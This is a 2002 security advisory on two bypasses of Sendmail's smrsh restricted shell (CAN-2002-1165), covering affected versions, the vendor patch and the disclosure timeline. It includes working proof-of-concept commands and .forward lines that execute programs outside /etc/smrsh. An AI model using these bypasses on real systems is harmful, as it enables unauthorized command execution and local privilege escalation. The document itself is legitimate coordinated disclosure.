Public Vulnerability Reports

Sendmail smrsh bypass vulnerabilities



The Sendmail Consortium's Restricted Shell (smrsh) is intended to be a replacement for /bin/sh in the program mailer definition of Sendmail. It provides the ability to specify, through the /etc/smrsh directory, an explicit list of executable programs available to Sendmail. When used in conjunction with Sendmail, smrsh effectively limits Sendmail's scope of program execution to only those programs specified in smrsh's directory. More details about it and Sendmail are available at


The restrictions imposed by smrsh can be bypassed in such a way that an attacker can execute a binary by inserting a special character sequence into the .forward file. Two attack methods are detailed below.

Method One
This method takes advantage of the application's implementation of the '||' command. The process is best explained with an example:

$ echo "echo unauthorized execute" > /tmp/unauth
$ smrsh -c ". || . /tmp/unauth || ."
/bin/sh: /etc/smrsh/.: is a directory
unauthorized execute

/tmp/unauth is executed despite the fact that it is not located in the smrsh restricted directory, /etc/smrsh. This is because smrsh first checks for '.', which exists, and does no further verification on the files listed after '||'. The same attack would look like the following in the attacker's .forward file:

"| . || . /tmp/unauth || ."

Method Two
This method takes advantage of the following routine from smrsh.c:

    /* search backwards for last / (allow for 0200 bit) */
    while (cmd > q)
            if ((*--cmd & 0177) == '/')

It is possible to feed SMRSH a command line that will be internally converted to a space thereby bypassing all filters, yet will still execute. Examples of these include:

? smrsh -c "/ command"
? smrsh -c "../ command"
? smrsh -c "./ command"
? smrsh -c "././ command"

The listed routine will convert any of the above examples to a space. However, when the following execle() call is reached:

(void) execle("/bin/sh", "/bin/sh", "-c", newcmdbuf, NULL, newenv);

SMRSH will execute:

/bin/sh -c  command

Notice that despite the double space 'command' will still execute. The .forward variation of this attack works the same way.


The following conditions must be met to successfully exploit this vulnerability:

* The target system must be utilizing SMRSH.
* The attacker must have a valid local account on the system.
* In method one, the attacker must be able to create files.

The ability to execute arbitrary commands through this vulnerability opens the target system to local privilege escalation attacks that otherwise would not be possible. While this exploit obviously removes the restrictions imposed by smrsh, it also allows users to execute programs on systems that users do not have shell access to. Utilizing either of the methods described above, an attacker who can modify his own .forward file can execute arbitrary commands on the target system with the privileges of his own account. Systems that forbid shell access generally do not have tightened local security.


The latest version of smrsh is vulnerable, as is the version packaged with Sendmail 8.12.6 and 8.11.6-15 (default install of Red Hat Linux 7.3). Older versions of smrsh do not appear to be vulnerable (8.11 5/19/1998). The version of smrsh currently available at is also not vulnerable.


No workaround is available as of this writing.


The Sendmail Consortium released a patch for the problem. It is available at They also said the following:

"We would like to thank iDEFENSE, zen-parse, and Pedram Amini for bringing these problems to our attention.

If you actually use a vulnerable smrsh version (which can be tested according to the descriptions given before), please apply the patch that has been made available. To figure out whether your configuration uses smrsh, check your file, i.e., look for


and check your file (usually located in /etc/mail or /etc):

grep '^Mprog.*smrsh'

Also consider whether you actually need this feature, e.g., if you make procmail available to your users then smrsh is basically useless."


The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2002-1165 to this issue.


09/01/2002 Issue disclosed to iDEFENSE
09/24/2002 Sendmail notified via e-mail to
09/24/2002 iDEFENSE clients notified
09/24/2002 Response received from Greg Shapiro,
09/25/2002 Coordinated with Claus Assmann,
10/01/2002 Issue disclosed to public


zen-parse ( is credited with discovering Method One

Pedram Amini ( is credited with discovering Method Two